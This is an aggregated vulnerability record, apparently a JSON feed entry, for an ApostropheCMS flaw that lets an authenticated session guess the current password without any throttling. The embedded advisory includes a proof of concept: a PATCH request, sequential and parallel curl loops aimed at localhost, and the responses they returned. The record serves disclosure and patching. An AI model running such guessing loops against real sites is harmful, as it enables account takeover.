{"id":"CVE-2026-113710","aliases":["EUVD-2026-105221","GHSA-653j-g8j7-gh54"],"status":"published","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0033,"percentile":0.26482,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-307"],"published":"2026-10-20T17:46:09Z","modified":"2026-11-11T02:48:45Z","fixes":[{"ecosystem":"npm","package":"apostrophe","fixed_in":["4.33.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.33.0"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.33.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-653j-g8j7-gh54"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113710.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113710","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-113710","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","status":"published","published":"2026-10-20T17:46:09.582Z","modified":"2026-10-21T15:53:11.228Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T13:44:29.519518Z"}],"euvd":[{"id":"EUVD-2026-105221","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","status":"published","published":"2026-10-20T17:46:09Z","modified":"2026-10-21T15:53:11Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:59:36.721365Z"}],"ghsa":[{"id":"GHSA-653j-g8j7-gh54","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n  try {\n    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n  } catch (e) {\n    throw self.apos.error(\n      'forbidden',\n      'apostrophe:passwordCurrentError',\n      { path: 'passwordCurrent' }\n    );\n  }\n  return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-session\u003e\nContent-Type: application/json\n\n{\n  \"password\": \"new-temporary-password\",\n  \"passwordRepeat\": \"new-temporary-password\",\n  \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n  time curl -i -sS \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\n      \"password\": \"new-temporary-password\",\n      \"passwordRepeat\": \"new-temporary-password\",\n      \"passwordCurrent\": \"definitely-wrong-current-password\"\n    }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n  \"name\": \"forbidden\",\n  \"data\": {\n    \"path\": \"passwordCurrent\"\n  },\n  \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n  \"curl --max-time 15 -sS \\\n    -o /tmp/password-attempt-{}.body \\\n    -w '%{http_code}\\\\n' \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -\u003e HTTP 403 Forbidden\n0 requests -\u003e HTTP 429 Too Many Requests\n0 requests -\u003e lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.","status":"published","published":"2026-10-20T18:17:50Z","modified":"2026-10-20T18:17:55Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-113710","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","status":"published","published":"2026-10-20T18:17:21.147Z","modified":"2026-10-21T16:17:25.13Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113710","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.","status":"published","published":"2026-10-20T17:46:09.582Z","modified":"2026-11-11T10:47:24.935912183Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-653j-g8j7-gh54","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n  try {\n    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n  } catch (e) {\n    throw self.apos.error(\n      'forbidden',\n      'apostrophe:passwordCurrentError',\n      { path: 'passwordCurrent' }\n    );\n  }\n  return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-session\u003e\nContent-Type: application/json\n\n{\n  \"password\": \"new-temporary-password\",\n  \"passwordRepeat\": \"new-temporary-password\",\n  \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n  time curl -i -sS \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\n      \"password\": \"new-temporary-password\",\n      \"passwordRepeat\": \"new-temporary-password\",\n      \"passwordCurrent\": \"definitely-wrong-current-password\"\n    }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n  \"name\": \"forbidden\",\n  \"data\": {\n    \"path\": \"passwordCurrent\"\n  },\n  \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n  \"curl --max-time 15 -sS \\\n    -o /tmp/password-attempt-{}.body \\\n    -w '%{http_code}\\\\n' \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -\u003e HTTP 403 Forbidden\n0 requests -\u003e HTTP 429 Too Many Requests\n0 requests -\u003e lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.","status":"published","published":"2026-10-20T18:17:50Z","modified":"2026-10-20T18:30:04.260581374Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}